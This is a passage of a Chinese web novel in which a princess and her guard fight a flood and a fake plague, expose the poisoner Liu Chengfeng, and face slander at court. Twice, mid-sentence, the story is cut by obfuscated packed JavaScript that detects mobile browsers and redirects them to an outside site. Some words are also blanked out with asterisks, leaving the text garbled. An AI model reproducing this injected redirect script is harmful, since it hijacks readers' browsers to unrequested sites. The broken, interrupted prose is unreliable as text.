“沿着这条路一直走,翻过前面那道山梁,就能看到官道了。”秦老者停下脚步,指着那条小路,“老朽就送你们到这里。” “多谢老丈援手。”江令舟抱拳。虽然疑虑重重,但对方确实帮助他们摆脱了追兵。 “不必客气。”秦老者摆摆手,“萍水相逢,举手之劳。只是奉劝一句,前路未必平坦,多加小心。” 黎音袅看着他:“老丈,你到底是谁?” 秦老者转过身,温和地看着她,眼中似乎藏着很多故事,却什么也没说。“我是谁不重要。重要的是,公主殿下想去哪里,想做什么。”他顿了顿,“这天下,快要不太平了。” 说完,他不再停留,转身走回密林深处,身影很快消失在交错的树影之中。 黎音袅站在原地,望着老者消失的方向。那句“这天下,快要不太平了”,以及他对自己身份的知晓,都像一块石头投入湖心,激起层层涟漪。 “长公主,我们快走吧。”江令舟提醒道,“此地不宜久留。” 黎音袅收回思绪,点点头。 一行人踏上小路,加快了脚步。虽然暂时安全,但黎音袅心中的疑云却更重了。这个秦老者,他的出现,他的话语,都透着谜团。他是敌是友?是哪方势力的人?还是真的只是一个看透世事的隐士? 无论如何,他们暂时摆脱了眼前的危机。 黎音袅回头看了一眼身后的密林,那里已经恢复了寂静。 他们继续向南。 第69章 事在人为 连日奔波,尘土满面,南方的湿热空气终于裹挟着水汽扑面而来。 马蹄踏入泥泞,前方视线豁然开朗,随即凝固。 不是想象中的鱼米之乡,而是泽国一片。浑黄的洪水漫无边际,吞噬了田野,淹没了屋舍,只留下一些残破的屋顶和挣扎的树冠。哭喊声,哀嚎声,混杂着水流的咆哮,织成一张绝望的网。 江令舟勒住马缰,喉咙干涩。 黎音袅翻身下马,脚下是没过脚踝的泥水。她望着眼前的一切,没有说话。身后的侍卫们也沉默了,路途的疲惫被眼前的惨状冲刷得无影无踪。 “长公主……”江令舟开口,声音艰涩。 “扎营,救人。”黎音袅打断他,声音不高,却带着不容置疑的决断。她抬步向前走去,走向那些聚集在稍高地势上、面容麻木的灾民。 士兵们立刻行动起来,寻找相对干燥的高地搭建帐篷,搬运随行带来的粮食和药材。 黎音袅走到一群灾民面前。他们衣衫褴褛,眼神空洞,看到有人靠近,也只是漠然地抬了抬眼皮。 “我们是朝廷派来赈灾的。”黎音袅开口,“这里有食物和水,伤病者可以过来领药。” 人群中起了一阵小小的骚动,有人迟疑地站起来,更多的人依旧坐着不动。 一个头发花白的老妇人哭嚎起来:“家没了……田没了……什么都没了……要这些有什么用……” 她的哭声像一个引子,带动了更多压抑的啜泣。 江令舟指挥着士兵分发物资,将热粥递到灾民手中。他看到黎音袅站在人群中,听着那些破碎的哭诉,没有安慰,只是静静地听着。 “殿下,先吃点东西吧。”江令舟端了一碗粥过来。 黎音袅接过,却没有喝,目光投向远处汹涌的水流。“堤坝呢?地方官员组织的防汛措施在哪里?” 江令舟顺着她的视线看去,远处水天相接的地方,隐约能看到一些土堆的痕迹,但大部分已被洪水夷平。“属下去问过,连日暴雨,上游洪峰接连下来,堵了这里,那里又溃了。他们……尽力了。” “尽力了?”黎音袅重复了一遍,语气里听不出情绪,“堵?水患从来不是只靠堵就能解决的。” 她放下粥碗。“江将军,召集所有还能动弹的士兵,还有那些懂水利、懂算术的工匠,跟我走。” “长公主,去哪里?” “去找一条路。”黎音袅看向浑浊的洪水,“给这洪水,找一条新的出路。” 江令舟心头一凛。疏导?这与历来的治水方式大相径庭,风险极大。“殿下,疏导之法,工程浩大,且一旦测算有误,恐引水祸及他处……” “堵不住,难道就看着它继续肆虐?”黎音袅反问,“难道看着更多的人失去家园,失去性命?” 她不再解释,转身便走。江令舟看着她的背影,最终还是挥手,点齐人手跟了上去。 勘察的过程比预想的更为艰难。没有道路,只有泥泞和深浅不一的积水。他们深一脚浅一脚地跋涉,依靠简陋的工具测量水深、流速,判断地势走向。有时洪水突然上涨,他们不得不迅速撤到高处。有士兵不慎滑倒,差点被急流卷走,幸好被同伴及时拉住。 “殿下,这边地势太低,不适合开渠。”一个随行的老工匠抹了把脸上的泥水,喘着气说。 “那边山体土石松动,开渠恐引发塌方。”另一个负责勘探地质的士兵报告。 黎音袅站在一块凸起的岩石上,手里拿着一张简陋的地图,上面用炭笔勾画着勘测到的信息。她眉头紧锁,对比着水流和地势。 几天下来,进展缓慢。带来的干粮快要耗尽,士兵们也疲惫不堪。 “公主殿下!”一个带着本地口音的声音从不远处传来。 众人循声望去,只见几个穿着蓑衣、手持农具的本地村民站在一片浅水区,为首的是一个面色黝黑的中年汉子。 “你们是什么人?在这里鬼鬼祟祟地做什么?”那汉子警惕地打量着他们,目光落在士兵们手中的测量工具上。 江令舟上前一步:“我等奉朝廷之命前来治水救灾。” “治水?”那汉子嗤笑一声,“治水不去加固堤坝,跑到这荒滩野地来测量什么?我看你们是想把祸水引到我们这边来吧!” 他身后的村民也纷纷附和。 “是啊,别以为我们不知道!你们这些当官的,就想着保住县城,拿我们这些乡下人的地泄洪!” “我们不同意!要开渠,从别处开去!” 情绪激动起来,几个村民握紧了手中的锄头和木棍。士兵们立刻上前,护在黎音袅身前。 “住手!”黎音袅开口,声音不大,却让嘈杂声静了下来。 她走上前,目光扫过那些愤怒而恐惧的脸。“你们认为,堵,就能解决问题吗?” 那为首的汉子梗着脖子:“祖祖辈辈都是这么治水的!堵住缺口,水自然就退了!” “那为何今年的水退不了?”黎音袅问,“为何你们的家园还是被淹了?” 汉子语塞。 “堵,是治标。水势过大,堵是堵不住的。唯有疏导,给洪水一条通路,让它尽快排入下游河道或者湖泊,才能从根本上降低水位,保住更多的地方。”黎音袅摊开手中的地图,指着上面勾画的线条,“我们正在寻找最合适的路线,这条路线会尽量避开村庄和田地,将损失降到最低。” “说得好听!”人群中有人喊道,“谁知道你们安的什么心?万一引来的水比现在还大怎么办?” “是啊,这水跟猛兽一样,哪里是人能控制的!” 质疑声此起彼伏。 黎音袅看着他们。“我知道你们的担忧。但是,如果我们什么都不做,洪水会退吗?被淹的村庄能自己浮起来吗?与其坐以待毙,不如奋力一搏。” 她停顿了一下,继续说:“我需要你们的帮助。你们熟悉这里的地形,知道哪里是洼地,哪里是坚固的土石。只有我们一起努力,才能尽快完成勘测,开始疏导工程。” 她的语气平静,没有强迫,只是陈述事实和她的计划。 村民们面面相觑,脸上的敌意渐渐消退,被犹豫取代。 那为首的汉子沉默了许久,最终开口:“你说的是真的?真的能尽量避开我们的村子?” “我以我的身份担保。”黎音袅回答,“疏导路线的选择,会以最大限度减少对百姓的影响为首要原则。” 汉子又看了看黎音袅,再看看她身后那些疲惫却依旧肃立的士兵,最终像是下定了决心。“好!我们暂且信你一次!需要我们做什么,你说!” “我们需要熟悉水性的向导,还需要人手清理预定河道上的淤泥和障碍。”江令舟立刻接口安排。 有了本地村民的加入,勘测的进度加快了不少。他们提供了许多地图上没有的细节信息,指出了隐藏的暗流和坚实的河床。 江令舟则带着另一部分士兵和愿意帮忙的灾民,开始在初步选定的区域修筑临时的引导堤,搬运石块,挖掘沟渠。虽然工具简陋,人手不足,但工程总算磕磕绊绊地开始了。 傍晚,黎音袅站在临时营地的高处,看着远处星星点点的火把沿着预定的河道延伸,那是正在连夜施工的士兵和百姓。水流声依旧轰鸣,但似乎有了一种新的秩序正在被建立。 “长公主,村民送来了些烤鱼。”江令舟走过来,递给她一条用树枝穿着的烤鱼。 黎音袅接过,轻轻咬了一口。鱼肉带着泥土的腥气,却让她感到一丝暖意。 “疏导工程,真的能成功吗?”江令舟看着远处的火光,问出了心中的疑虑。 黎音袅没有直接回答。她只是看着那些跳动的火焰,以及在火焰旁忙碌的身影。 “事在人为。”她说。 远处,隐约传来挖掘和夯土的声音。 第70章 药材危机 水患初平,人心稍定,未料一波未平,一波又起。 南边几个临时安置点几乎一夜之间变了景象。起初只是几人咳嗽发热,以为是淋雨受寒,无人特别在意。然而,病倒的人越来越多,症状也愈发严重,高热不退,咳喘不止,浑身乏力,连站立都难。疫病,这两个字如同沉重的乌云,迅速笼罩在刚刚经历过洪灾的灾民心头。 安置点内,原先劫后余生的些微庆幸荡然无存,取而代之的是此起彼伏的痛苦呻吟和压抑的哭泣。恐慌如同疫病本身,迅速蔓延。 “殿下,南营那边……已经倒下快一百人了。”一个士兵匆匆跑来,声音带着掩饰不住的焦急。 黎音袅正在查看疏导河道的图纸,闻言放下笔。“症状如何?” “高热,咳嗽,浑身没力气。大夫说是……是疫病,传得很快。” 黎音袅心头一沉。她最担心的事情还是发生了。洪水过后,环境污浊,最易滋生疫疠。“传令下去,立刻将所有病患集中隔离,划分洁净区与污染区,任何人不得随意走动。调集所有随行大夫,全力救治。” “是!”士兵领命而去。 江令舟也快步赶来。“殿下,我已安排人手加强各安置点的守卫,只是……百姓们很恐慌,有些人想跑。” “跑?他们能跑到哪里去?”黎音袅反问,“洪水刚退,外面一样危险。而且,万一他们身上带着病……”后果不堪设想。 她走到临时搭建的医棚外。里面挤满了病患,空气污浊,呻吟声让人心头发紧。几个大夫满头大汗,忙得脚不沾地,却也只是杯水车薪。 “殿下,药不够了。”一位老大夫擦着汗,走到黎音袅面前,满面愁容,“这病来得凶,普通的伤寒方子效果甚微。需要大量清热解毒、扶正祛邪的药材,可镇上的药铺早就空了,连我们带来的军中储备也快用尽了。” “洪水冲毁了道路,外面的药运不进来。”另一位大夫补充道,语气绝望。 黎音袅看着棚内痛苦的人们。隔离是必须的,但没有药,隔离也只是延缓死亡。她的脑中飞速运转,搜寻着那些来自另一个世界的知识。 “加强通风。”她开口,“把棚子的帐幔都卷起来,让空气流通。告诉所有人,特别是照顾病患的人,勤洗手,用开水烫洗衣物,粪便呕吐物必须挖坑深埋,撒上石灰。” 老大夫愣了一下。“殿下,这……通风恐会招风邪入体,加重病情啊。至于洗手深埋……这能治病?” “这不是治病,是防病。”黎音袅解释,“疫病是通过我们看不见的东西传播的,可能在空气里,可能在水里,也可能沾在手上。保持洁净,减少接触,就能降低染病的可能。” 老大夫将信将疑,但看着黎音袅不容辩驳的态度,还是点了点头。“老朽……试试看。” “江令舟,”黎音袅转向他,“你立刻派人,精锐人手,带上我们所有的银钱,走水路或者绕山路,无论如何,去最近的府城,甚至更远的地方,不惜代价,给我买药回来。有多少要多少。” “属下明白!”江令舟没有犹豫,“只是道路艰险,恐怕……” “我知道危险。”黎音袅打断他,“但我们没有选择了。告诉去的人,他们的家人,我会亲自照看。” 江令舟领命而去,脚步沉重。 黎音袅重新走进医棚。她挽起袖子,开始帮忙。她不懂这个时代的医术,但她可以做些力所能及的事情,比如给病人喂水,擦拭身体,安抚情绪。她仔细观察着病人的症状,呼吸的频率,咳嗽的声音,皮肤的温度,试图找出一些规律。 “你……你是谁?”一个虚弱的妇人抓住她的手。 “我是来帮你们的。”黎音袅回答。 “我们是不是都要死了?”妇人眼中满是恐惧,“老天爷啊,淹不死我们,是要病死我们吗……” 黎音袅没有回答,只是帮她掖好被角。“会好起来的。”她只能这样说。 几天过去,情况并未好转,反而有愈演愈烈的趋势。隔离区不断扩大,健康的人也开始出现症状。药材彻底告罄,连预防的汤药都无法保证供应。恐慌的情绪到达顶点。 “都是你们!是你们挖那条破河道,惊动了河神,才降下瘟疫的!”有灾民在隔离区外鼓噪起来,声音里充满了怨恨和恐惧。 “对!就是你们这些当官的带来的灾星!” “把他们赶出去!” 人群情绪激动,开始冲击守卫的士兵。石块和泥土朝着营地扔来。 “稳住!”江令舟带人顶在前面,脸色铁青,“谁敢冲击营地,格杀勿论!” 士兵们举起了武器,但面对手无寸铁却状若疯狂的灾民,一时间也有些不知所措。 “殿下,不能再等了!”那位老大夫找到黎音袅,语气急切,“药材不到,就算我们想尽办法,也只能眼睁睁看着他们一个个倒下。而且,再这样下去,怕是要生民变啊!” 黎音袅站在高处,看着远处骚动的人群,听着医棚里传来的咳嗽和呻吟。她提出的通风、洗手等措施,虽然被勉强执行,但在缺医少药和巨大的恐慌面前,效果微乎其微。有些大夫甚至私下里抱怨她的方法离经叛道,耽误了传统治疗。 她感到一种深深的无力。她拥有超越这个时代的知识,却无法凭空变出抗生素和特效药。她能做的,似乎只有这些基础的、在这个时代的人看来甚至有些可笑的预防措施。 “殿下?”老大夫见她久久不语,又催促了一声。 黎音袅回过神。“派出去的人,有消息吗?” “还没有。”老大夫摇头,“按时间算,最快也要明天才能有回音,前提是他们一切顺利。” 一切顺利……黎音袅心里清楚,这四个字有多么奢侈。 这时,一个士兵跌跌撞撞地跑进营地,脸色惨白。“殿下!江将军派去购药的第一队人……回来了……只回来一个……” 黎音袅心猛地一跳。“怎么回事?” 那士兵喘着粗气:“他们绕山路去了邻县,但那里……那里也爆发了疫病!比我们这里还严重!他们好不容易找到一家还有存货的药铺,高价买了药,回来的路上遇到了流民抢劫……其他人……其他人为了护住药材,都……” 士兵说不下去了,眼圈泛红。 带回来的药材,只有原来计划的不到十分之一,而且那位幸存的士兵,也开始咳嗽发热了。 绝望的气氛如同实质,压在每一个人心头。 老大夫身体晃了晃,几乎站立不稳。“完了……全完了……” 黎音袅看着那包用鲜血换回来的、少得可怜的药材。她没有哭,也没有崩溃。她只是走到隔离区前,看着那些因为听到消息而更加绝望和躁动的灾民。 “我知道你们恨我,怨我。”她的声音不大,却盖过了嘈杂,“你们觉得是我带来了灾祸。但现在,疫病已经来了,怨恨解决不了任何问题。” 她停顿了一下,指着身后临时医棚的方向。“里面躺着你们的亲人,朋友。外面,还有更多的人随时可能倒下。我们带来的药不多,远远不够。” 人群安静了一些,许多人茫然地看着她。 “但是,”黎音袅继续说,“我们不能等死。大夫们会尽力救治重病之人。剩下的人,你们要自己救自己。” 她重复着之前的要求:“所有人,听我的命令。保持距离,不要聚集。所有人,立刻打扫你们住的地方,清理垃圾,挖深坑处理污秽。所有人,找到干净的水源,把水烧开了再喝。所有人,捂住口鼻,尤其是咳嗽的时候。” “这有什么用!”有人喊道,“我们要药!我们要活命!” “没有足够的药!”黎音袅直接回答,“至少现在没有。按我说的做,或许不能治好病人,但能让没病的人少生病!你们想活命,就要听话!” 她的语气不带安抚,只有命令。 人群骚动着,有人犹豫,有人依旧不信,有人被她的气势镇住。 黎音袅不再多言。她转身,对身边的士兵下令:“传我的令,所有士兵,带头清理营区,烧开水,监督执行。有不遵号令、危及他人者,按军法处置。” 她看着仅剩的那点药材,又看向医棚里躺着的上百名病患。这点药,该给谁?是给重症者最后一搏,还是给轻症者增加希望? 老大夫也看着她,等待她的决定。 黎音袅闭上眼睛,再睁开时,里面只剩下决断。“将药材优先用于救治大夫和士兵。他们倒下了,就真的没人能做事了。” 老大夫身体一震,嘴唇动了动,最终没有说话。 黎音袅走到营地一角,那里堆放着处理尸体用的石灰和柴火。 她拿起一个布巾,浸湿,紧紧捂住了自己的口鼻。 第71章追兵 营地死寂,药石罔效。 数日过去,那包用鲜血换来的药材早已耗尽。死亡并未停止,只是黎音袅强制推行的隔离与清洁措施,似乎让疫病蔓延的速度稍稍减缓。但这微不足道的改变,无法驱散笼罩在每个人头顶的绝望。 老大夫的眼窝深陷,他看着又一具被抬出去的尸体,声音沙哑:“殿下,疫死的病人,症状与寻常疫病不同。发作过急,脏腑衰竭之状……倒与古籍记载的一种异草滥用之症相似。” 黎音袅正在查看登记死者信息的简陋木牌。“异草?” “是。此草名为蚀心草,少量入药可活血,过量或炮制不当,则为剧毒,侵蚀五脏,引发类似瘟疫的症状,且极易传染。”老大夫补充,“此草罕见,非普通药铺常备。” 黎音袅放下木牌。“邻县疫病比我们这里更重。派去购药的人说,他们是在邻县才找到一家有存货的药铺。那家药铺叫什么名字?” 旁边负责记录的士兵翻查了一下:“回殿下,幸存的兄弟说,那家药铺叫‘济世堂’。” “济世堂……”黎音袅重复了一遍,“江令舟。” 一直沉默守在她身侧的江令舟应声:“在。” “派人去查。查所有水患前向此地及邻县运送药材的商铺,尤其注意这家‘济世堂’。查他们购入了什么,卖给了谁,特别是蚀心草。”黎音袅的语气没有波澜。 “是。”江令舟领命而去。 如果疫病不是天灾,而是人祸……黎音袅的心沉下去。*是谁?为了什么?*这比天灾更让人齿冷。 调查结果很快回报。 江令舟带回来的消息印证了最坏的猜测。“殿下,查到了。邻县和平洲县城的‘济世堂’,在水患发生前一个月,都曾有大批药材入库记录,其中就有大量的蚀心草。这些药材的来源……指向京城一家药行,而那家药行的东家,与吏部尚书柳成峰有关。” 吏部尚书柳成峰。黎音袅记得这个名字。他是朝中太子一派的骨干。 “他们购入蚀心草做什么?”黎音袅问。 “账面上记录是炮制活血丹药。但数量远超正常所需。”江令舟递上一份简单的调查记录,“而且,济世堂在水患后,曾低价抛售过一批药材,唯独没有蚀心草。疫病爆发后,他们又开始高价出售所谓的‘特效药’,里面怕是……” “怕是混入了能暂时缓解,却会加重病情的药物。”黎音袅接话。*制造灾难,再扮演救世主,发灾难财,甚至……扰乱南方,嫁祸于我?* “济世堂现在还在营业?” “邻县那家已经关门,据说是掌柜也染病**。县城这家还在开,但很警惕。”江令舟道。 “证据不足。”黎音袅看着记录,“光凭这些购入记录,无法定罪。” “我们需要更直接的证据。”江令舟说。 “我们亲自去。”黎音袅做出决定。 夜色如墨。 黎音袅和江令舟换上不起眼的粗布衣服,脸上做了简单的伪装,避开巡逻的士兵,悄无声息地接近了县城那家“济世堂”。药铺门面紧闭,只有后院隐约透出一点灯火。 江令舟观察片刻,找到一处低矮的院墙,轻松翻了进去,随即向黎音袅打了个手势。黎音袅身手虽不及他,但也利落跟上。 后院堆放着药材和杂物,空气中弥漫着浓重的药味。一间厢房还亮着灯。江令舟贴近窗户,用**尖端小心地挑开一条缝隙。 屋内,一个穿着绸缎的中年男人正在和一个伙计低声说话。 “……那批货处理干净了?”中年男人问。 “掌柜的放心,都按您吩咐的,混在给那些泥腿子施舍的药汤里了。保证查不出痕迹。”伙计谄媚地笑。 “京城那边催得紧,让咱们尽快把事情了结。殿下那边……” “哼,一个女人,还能翻天不成?等她带来的兵也倒下一半,看她怎么收场!到时候,柳大人那边自有安排。” 黎音袅和江令舟对视一眼,眼底皆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548007|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是寒意。 等屋内两人说完话,灯火熄灭,江令舟才带着黎音袅潜入药铺内部。前堂的药柜都锁着,他们直接摸向后堂掌柜的房间。 房间里陈设简单,但有一个不大的紫檀木箱子放在床下。江令舟撬开锁,里面是一些账本和信件。 黎音袅快速翻阅。账本上记录着蚀心草的惊人购入量和去向不明的记录。几封关键信件更是直接提到了“依计行事”、“南方乱局”、“殿下”、“柳大人”等字眼,还有银钱往来的记录。 这就是证据。黎音袅将重要的信件和几页账本抽出,塞入怀中。 就在此时,外面传来轻微的脚步声和询问声。 “谁在那边?” “好像是掌柜房间有动静!” 脚步声越来越近。 “走!”江令舟低喝一声,拉起黎音袅就往外冲。 刚到院中,几名手持棍棒的护院伙计已经堵住了去路。 “什么人!抓贼啊!” 江令舟将黎音袅护在身后,拔出随身携带的短刀。“殿下,带东西走!” 他迎上那几名护院,刀光闪烁,动作干净利落。护院们虽然人多,却根本不是他的对手,转眼间便倒下两人。 黎音袅没有犹豫,转身就朝着之前翻进来的院墙跑去。她知道自己留下只会是累赘。 “别让她跑了!抓住她!”有**喊。 更多的脚步声从四面八方围拢过来,有人甚至点燃了火把。火把燃烧声噼啪作响。 江令舟解决了眼前的几人,立刻回身追向黎音袅,几名护院紧追不舍。他一边格挡攻击,一边护着黎音袅翻出院墙。 两人落在外面漆黑的巷子里。 “这边!”江令舟拉着黎音袅的手,辨认了一下方向,朝着营地方向疾奔。 身后,“济世堂”方向传来急促的锣声和追兵的呼喝声,在死寂的县城夜空中传出很远。 江令舟拉着黎音袅冲入夜色,身后追兵呼喝不止。 第73章 公布证据 营帐内光线昏暗,只点了几盏油灯。 黎音袅站在临时拼凑的木桌前,江令舟守在她的身侧,如同沉默的影子。她没有休息,甚至没有换下那身沾染了尘土和夜露的衣服。营地里的几个核心人物被紧急召集过来,包括负责营地日常管理的陈主簿,老成的军医张先生,以及几位得力的护卫队长。他们脸上带着疲惫和疑惑,不知道这深夜紧急召集所为何事。 “殿下,您回来了。”陈主簿先开了口,语气里有关切,“这一路……” 黎音袅抬手打断了他。“情况紧急,长话短说。”她的声音不高,却带着不容置疑的决断。她将怀中用油布仔细包裹的信件和账本取出,放在桌上。“昨夜,我和江护卫潜入了县城内的济世堂。” 众人面面相觑,济世堂是城中最大的药铺,也是这次疫病爆发后,少数几家还在勉力维持的药铺之一。 “我们在那里发现了这个。”黎音袅展开那封信件,又翻开了账本的某一页。 张军医凑近油灯,仔细辨认着上面的字迹。他先是皱眉,随即脸色大变,手都开始发抖。“这……这怎么可能?!” 陈主簿也探过头去,账目他最熟悉,几眼看下来,额头上渗出了冷汗。“川乌、草乌、附子……这些药材,用量如此之大,而且……这记录的时间,恰好是疫病大规模爆发之前!” “信上写了什么?”一个护卫队长忍不住问。 黎音袅看向江令舟。江令舟拿起那封信件,言简意赅地复述了关键内容:“信是济世堂掌柜写给柳成峰的密信。信中提及,按照柳大人的‘吩咐’,一批‘特殊药材’已经分批混入供给各处的防疫汤药中,‘效果’显著。账本记录的,就是这些‘特殊药材’的采购和使用明细。” 营帐内陷入死一般的寂静。每个人脸上的血色都在褪去。 “人为的……这场疫病……是人为造成的?”张军医的声音带着难以置信的颤抖,“用药材引发类似疫病的症状……柳成峰他……他为什么要这么做?!” “为了什么?”黎音袅的语气没有任何温度,“为了制造恐慌,为了嫁祸,为了他自己的仕途。”她想起那些在病痛中挣扎的灾民,想起那些失去亲人的哭嚎。她以为的天灾,竟然是人祸。 “畜生!柳成峰这个畜生!”一个脾气火爆的护卫队长猛地一拳砸在桌子上,桌上的油灯跳动了一下。灯火摇曳 “殿下,这……这证据……”陈主簿的声音有些发虚,“柳成峰是朝廷命官,手握重兵,我们……”他不敢再说下去。这无异于以卵击石。 “所以,这些东西必须立刻送往京城,呈交陛下。”黎音袅打断了他的犹豫。“只有陛下,才能制裁柳成峰及其党羽。” “可是京城路途遥远,柳成峰在各处关卡必定设有眼线,想要将东西安全送达,太难了。”陈主簿忧心忡忡。 “必须有人去。”黎音袅环视众人,“挑选一个最可靠,身手最好,头脑最灵活的人,快马加鞭,日夜兼程。” 所有人的视线不约而同地落在了江令舟身上。他是殿下最信任的护卫,武功高强,心思缜密,无疑是最佳人选。 江令舟却摇了摇头。“我不能离开。殿下身边需要人护卫。”他看向人群中的一个年轻护卫,“赵武,你来。” 被点名的赵武愣了一下,随即挺直了胸膛。“属下在!” “赵武?”陈主簿有些迟疑,“他太年轻了……” “他机灵,骑术最好,熟悉京城周边小路。”江令舟言简意赅,“最重要的是,他家人不在柳成峰辖区之内,没有掣肘。” 黎音袅看向赵武,那是一个看上去不过二十出头的年轻人,脸上还有些稚气,但眼神很亮,透着一股劲儿。“你可愿意接下这个任务?此去京城,九死一生。” 赵武单膝跪地,声音铿锵有力:“为殿下效命,万死不辞!属下定将信件和账本安全送到陛下手中!” “好。”黎音袅不再多言。她亲自将信件和账本重新用油布包好,封上火漆。“记住,除了陛下,任何人不得窥探。” “属下明白!” “去挑选最好的快马,带足干粮和水,即刻出发。”江令舟补充道。 “是!”赵武领命,快步退了出去。 营帐内,气氛依旧凝重。 “殿下,那我们现在……”陈主簿问。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548009|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们留下。”黎音袅说,“安抚营地人心,继续救治病患,加强防控。在陛下的旨意抵达之前,这里不能乱。”她看向张军医,“张先生,既然知道了病症的根源,对于救治,可有新的思路?” 张军医紧锁的眉头略微松开了一些。“若真是那些药材的毒性引发,对症下药,或许能找到缓解之法。只是……之前混入的剂量和具体批次不明,还需要时间摸索尝试。而且,真正的疫病也可能在人群中传播开来,情况依然复杂。” “尽力而为。”黎音袅说,“救治每一个能救的人。” “是。” 众人各怀心事地散去,营帐里只剩下黎音袅和江令舟。 黎音袅走到帐门口,望着赵武消失的方向,夜色依旧浓重,唯有天边那一抹微弱的晨曦预示着白日的到来。她不知道等待他们的将是什么。 “京城那边,会有结果吗?”她轻声问,像是在问江令舟,又像是在问自己。这个烂摊子,远比她想象的更深,更黑暗。柳成峰的胆大妄为,超出了她的预料。皇帝会相信这封孤零零的信和账本吗? 江令舟走到她身边,顺着她的视线望去。“会的。”他的回答很简单,没有解释。 黎音袅转头看他。“你就这么肯定?” 江令舟没有看她,只是注视着远方。“证据足够了。” 黎音袅沉默。证据是足够了,但人心呢?官场倾轧,盘根错节,一封信,一本账,真的能扳倒一个手握兵权的地方大员吗?她不敢去想失败的后果。她握紧了垂在身侧的手。 “接下来,营地可能会更难。”江令舟忽然开口。 黎音袅明白他的意思。消息一旦走漏,或者柳成峰察觉到异动,可能会采取更激烈的手段。而他们,只能在这里被动等待。“我知道。” “我会守好这里。”江令舟说。 黎音袅点点头,转身走向桌案,那里还有堆积如山的营地事务等着她处理。她必须撑下去,为了那些无辜的灾民,也为了查清真相。 马蹄声在远处响起,那是赵武离开的声音,带着微弱的希望,冲破了黎明前的黑暗。 黎音袅拿起一份关于药物分发的记录。 第74章 反击 柳成峰在书房内踱步,烛火摇曳。 心腹低头站在下方,刚刚禀报了探子传回的消息——黎音袅确实拿到了账本,并且派人连夜送往京城。 “她怎么敢?”柳成峰停下脚步,声音压抑。 心腹不敢接话。 “一个黄毛丫头,一个被贬的将军,他们以为凭这些就能扳倒我?”柳成峰走到桌案前,手指敲击着桌面。“太天真了。” 他需要时间。赵武的快马再快,也快不过他的布置。 “去,立刻安排人手,在京城散布消息。”柳成峰吩咐。 “大人,散布什么消息?” “就说雍州大营疫病失控,皆因长平郡主黎音袅与前将军江令舟**,甚至……勾结,意图不明。”柳成峰的语气平静,内容却狠毒。“他们名为赈灾,实则拥兵自重,将朝廷拨发的赈灾款项和药材据为己有,中饱私囊,置万千灾民性命于不顾。” 心腹身体微颤:“大人,这……这罪名……” “罪名?”柳成峰冷笑,“欲加之罪,何患无辞?关键是让陛下听到这些声音,让他疑心。” “可是江将军毕竟曾是……” “那又如何?一个失势的将军,一个空有封号的郡主,拿什么跟我斗?”柳成峰打断他,“重点渲染他们二人关系暧昧,行为不端,扰乱军纪。再强调江令舟对当年被贬之事心怀怨怼,借机生事。” “属下明白了。” “还有,去联络御史台的于大人,户部的何侍郎,让他们准备好**奏章。就用这些理由,在朝堂上参他们一本。告诉他们,事成之后,少不了他们的好处。” “是,大人。”心腹领命,匆匆退下。 书房内只剩下柳成峰一人。他走到窗边,望着漆黑的夜空。一封信,一本账?他要让这些东西在抵达皇帝面前时,已经沾满污秽,变得不可信。 京城,金銮殿。 早朝的气氛与往日不同,透着一股山雨欲来的压抑。 队列中,御史于孟清手持笏板出列。 “臣,御史台于孟清,有本启奏。” 皇帝端**,面无表情:“讲。” “臣**长平郡主黎音袅、前威远将军江令舟,在雍州赈灾期间,**,致使疫病蔓延,灾民流离失所,怨声载道!”于孟清声音洪亮,每一个字都掷地有声。 话音刚落,朝堂顿时一片低语。 “肃静。”内侍高喊。 于孟清继续道:“据臣所查,黎音袅与江令舟名为赈灾,实则勾结不清,行为不检,以权谋私!他们扣押朝廷下拨的赈灾款项,倒卖珍贵药材,中饱私囊,视灾民性命如草芥!更有甚者,江令舟对过往被贬心怀不满,恐有借机煽动灾民,图谋不轨之嫌!” “于大人!此言可有实据?”兵部尚书皱眉出声。 “尚书大人稍安勿躁。”户部侍郎何敬之紧随其后出列,“臣亦有本奏。户部核查雍州赈灾用度,发现诸多账目不清之处。黎音袅与江令舟上报的消耗与实际拨付款项出入巨大,且多次以防疫为名,阻挠户部核查人员进入营地核心区域,行迹可疑!” “臣附议!” “臣亦附议!” 几位与柳成峰交好的官员立刻站出来声援。 一时间,**黎音袅和江令舟的声音在朝堂上此起彼伏。指控的内容从最初的**,逐渐升级到贪墨、拥兵、甚至隐隐指向叛逆。 皇帝的脸色沉静,手指无意识地敲击着龙椅扶手。他没有打断,只是听着。这些**,来得太快,太集中,也太……巧合了。雍州的求援文书刚到不久,这边**的奏章就准备得如此充分? 他想起了黎音袅离京时的决绝,想起了江令舟过往的战功与耿直。这两个人,会做出这种事?贪墨?图谋不轨? “陛下!”于孟清再次开口,“黎音袅年轻识浅,恐受奸人蒙蔽。而江令舟素有旧怨,狼子野心不得不防!如今雍州局势危急,臣恳请陛下降旨,即刻将二人召回京城,撤销其赈灾之权,另派得力干员前往主持大局,并严查二人罪行,以正国法,安民心!” “臣等恳请陛下降旨严查!”何敬之等人齐声附和。 殿内安静下来,所有人的视线都集中在龙椅之上。 皇帝缓缓开口,声音听不出喜怒:“诸卿所言,朕听见了。” 他停顿了一下,视线扫过下方群臣。 